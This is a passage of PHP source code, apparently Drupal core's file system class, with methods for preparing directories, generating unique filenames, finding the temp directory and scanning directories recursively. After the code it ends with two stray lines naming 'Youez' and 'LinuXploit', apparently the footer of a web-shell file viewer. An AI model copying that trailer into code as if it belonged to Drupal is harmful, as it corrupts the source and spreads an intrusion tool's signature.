      // Only trim if we're not dealing with a stream.
      $directory = rtrim($directory, '/\\');
    }

    if (!is_dir($directory)) {
      if (!($options & static::CREATE_DIRECTORY)) {
        return FALSE;
      }

      // Let mkdir() recursively create directories and use the default
      // directory permissions.
      $success = @$this->mkdir($directory, NULL, TRUE);
      if ($success) {
        return TRUE;
      }
      // If the operation failed, check again if the directory was created
      // by another process/server, only report a failure if not. In this case
      // we still need to ensure the directory is writable.
      if (!is_dir($directory)) {
        return FALSE;
      }
    }

    $writable = is_writable($directory);
    if (!$writable && ($options & static::MODIFY_PERMISSIONS)) {
      return $this->chmod($directory);
    }

    return $writable;
  }

  /**
   * {@inheritdoc}
   */
  public function getDestinationFilename($destination, $replace) {
    $basename = $this->basename($destination);
    if (!Unicode::validateUtf8($basename)) {
      throw new FileException(sprintf("Invalid filename '%s'", $basename));
    }
    if (file_exists($destination)) {
      switch ($replace) {
        case FileSystemInterface::EXISTS_REPLACE:
          // Do nothing here, we want to overwrite the existing file.
          break;

        case FileSystemInterface::EXISTS_RENAME:
          $directory = $this->dirname($destination);
          $destination = $this->createFilename($basename, $directory);
          break;

        case FileSystemInterface::EXISTS_ERROR:
          // Error reporting handled by calling function.
          return FALSE;
      }
    }
    return $destination;
  }

  /**
   * {@inheritdoc}
   */
  public function createFilename($basename, $directory) {
    $original = $basename;
    // Strip control characters (ASCII value < 32). Though these are allowed in
    // some filesystems, not many applications handle them well.
    $basename = preg_replace('/[\x00-\x1F]/u', '_', $basename);
    if (preg_last_error() !== PREG_NO_ERROR) {
      throw new FileException(sprintf("Invalid filename '%s'", $original));
    }
    if (substr(PHP_OS, 0, 3) == 'WIN') {
      // These characters are not allowed in Windows filenames.
      $basename = str_replace([':', '*', '?', '"', '<', '>', '|'], '_', $basename);
    }

    // A URI or path may already have a trailing slash or look like "public://".
    if (substr($directory, -1) == '/') {
      $separator = '';
    }
    else {
      $separator = '/';
    }

    $destination = $directory . $separator . $basename;

    if (file_exists($destination)) {
      // Destination file already exists, generate an alternative.
      $pos = strrpos($basename, '.');
      if ($pos !== FALSE) {
        $name = substr($basename, 0, $pos);
        $ext = substr($basename, $pos);
      }
      else {
        $name = $basename;
        $ext = '';
      }

      $counter = 0;
      do {
        $destination = $directory . $separator . $name . '_' . $counter++ . $ext;
      } while (file_exists($destination));
    }

    return $destination;
  }

  /**
   * {@inheritdoc}
   */
  public function getTempDirectory() {
    // Use settings.
    $temporary_directory = $this->settings->get('file_temp_path');
    if (!empty($temporary_directory)) {
      return $temporary_directory;
    }

    // Fallback to OS default.
    $temporary_directory = FileSystemComponent::getOsTemporaryDirectory();

    if (empty($temporary_directory)) {
      // If no directory has been found default to 'files/tmp'.
      $temporary_directory = PublicStream::basePath() . '/tmp';

      // Windows accepts paths with either slash (/) or backslash (\), but
      // will not accept a path which contains both a slash and a backslash.
      // Since the 'file_public_path' variable may have either format, we
      // sanitize everything to use slash which is supported on all platforms.
      $temporary_directory = str_replace('\\', '/', $temporary_directory);
    }
    return $temporary_directory;
  }

  /**
   * {@inheritdoc}
   */
  public function scanDirectory($dir, $mask, array $options = []) {
    // Merge in defaults.
    $options += [
      'callback' => 0,
      'recurse' => TRUE,
      'key' => 'uri',
      'min_depth' => 0,
    ];
    $dir = $this->streamWrapperManager->normalizeUri($dir);
    if (!is_dir($dir)) {
      throw new NotRegularDirectoryException("$dir is not a directory.");
    }
    // Allow directories specified in settings.php to be ignored. You can use
    // this to not check for files in common special-purpose directories. For
    // example, node_modules and bower_components. Ignoring irrelevant
    // directories is a performance boost.
    if (!isset($options['nomask'])) {
      $ignore_directories = $this->settings->get('file_scan_ignore_directories', []);
      array_walk($ignore_directories, function (&$value) {
        $value = preg_quote($value, '/');
      });
      $options['nomask'] = '/^' . implode('|', $ignore_directories) . '$/';
    }
    $options['key'] = in_array($options['key'], ['uri', 'filename', 'name']) ? $options['key'] : 'uri';
    return $this->doScanDirectory($dir, $mask, $options);
  }

  /**
   * Internal function to handle directory scanning with recursion.
   *
   * @param string $dir
   *   The base directory or URI to scan, without trailing slash.
   * @param string $mask
   *   The preg_match() regular expression for files to be included.
   * @param array $options
   *   The options as per ::scanDirectory().
   * @param int $depth
   *   The current depth of recursion.
   *
   * @return array
   *   An associative array as per ::scanDirectory().
   *
   * @throws \Drupal\Core\File\Exception\NotRegularDirectoryException
   *   If the directory does not exist.
   *
   * @see \Drupal\Core\File\FileSystemInterface::scanDirectory()
   */
  protected function doScanDirectory($dir, $mask, array $options = [], $depth = 0) {
    $files = [];
    // Avoid warnings when opendir does not have the permissions to open a
    // directory.
    if ($handle = @opendir($dir)) {
      while (FALSE !== ($filename = readdir($handle))) {
        // Skip this file if it matches the nomask or starts with a dot.
        if ($filename[0] != '.' && !(preg_match($options['nomask'], $filename))) {
          if (substr($dir, -1) == '/') {
            $uri = "$dir$filename";
          }
          else {
            $uri = "$dir/$filename";
          }
          if ($options['recurse'] && is_dir($uri)) {
            // Give priority to files in this folder by merging them in after
            // any subdirectory files.
            $files = array_merge($this->doScanDirectory($uri, $mask, $options, $depth + 1), $files);
          }
          elseif ($depth >= $options['min_depth'] && preg_match($mask, $filename)) {
            // Always use this match over anything already set in $files with
            // the same $options['key'].
            $file = new \stdClass();
            $file->uri = $uri;
            $file->filename = $filename;
            $file->name = pathinfo($filename, PATHINFO_FILENAME);
            $key = $options['key'];
            $files[$file->$key] = $file;
            if ($options['callback']) {
              $options['callback']($uri);
            }
          }
        }
      }
      closedir($handle);
    }
    else {
      $this->logger->error('@dir can not be opened', ['@dir' => $dir]);
    }

    return $files;
  }

}

Youez - 2016 - github.com/yon3zu
LinuXploit